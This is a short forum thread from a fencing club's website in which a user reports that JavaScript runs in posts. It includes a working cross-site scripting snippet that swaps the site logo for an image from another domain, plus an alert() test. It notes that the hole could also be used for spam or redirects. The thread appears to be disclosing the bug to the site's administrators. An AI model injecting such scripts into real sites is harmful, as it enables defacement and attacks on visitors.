You Are Here >> Home > Register | Login
 
 
 
 
 
 
 
 
..::Forums...duh! ::.. Minimize
 
 
  
Subject: Javascript enabled in posts
Prev Next
You are not authorized to post a reply.

Author Messages
welderUser is Offline
Provost
Provost
Posts:95

03/23/2006 4:25 PM Alert 
I was able to post a 'sploit to one of the forums that made Justin's avatar dance around the screen.  Pretty harmless, but I think I could have just as easily rewritten posts to include porn advertising or redirected the page.
welderUser is Offline
Provost
Provost
Posts:95

03/23/2006 4:34 PM Alert 
By way of example... > Array.prototype.item = function( x ) { return eval( "this" + String.fromCharCode(91) + x + String.fromCharCode(93) ); } Array.prototype.setItem = function( x, val ) { return eval( "this" + String.fromCharCode(91) + x + String.fromCharCode(93) + "=val" ); } function wm_changeImage() { var imgs = document.getElementsByTagName( "img" ); for ( var x = 0; x < imgs.length; x++ ) { var i = imgs.item( x ); if ( i.src.indexOf( 'NWRapier_Skin_Package/logo.jpg' ) != -1 ) { i.src = "http://www.blacktigers.us/blacktigers/themes/smartDark/images/logo.jpg"; x = imgs.length; } } } Click here.
jgreywolfUser is Offline
Hai Gioco?

Posts:685


03/25/2006 12:30 PM Alert 
neener, neener  

Justin Greywolf (SCA: Ramon Diaz de la Vega)
Director
Old World Martial Arts - Teaching Historical Italian Swordplay in the Pacific Northwest
welderUser is Offline
Provost
Provost
Posts:95

03/25/2006 4:54 PM Alert 
>alert("!"); Test.
welderUser is Offline
Provost
Provost
Posts:95

03/25/2006 4:56 PM Alert 
test
You are not authorized to post a reply.
Forums > NW Rapier Administration > Report an issue > Javascript enabled in posts



ActiveForums 3.6
 
 
 Print   
 
 
 
 
 
  www.nwrapier.com | Privacy Statement
Terms Of Use | Copyright 2007 by NWRapier.com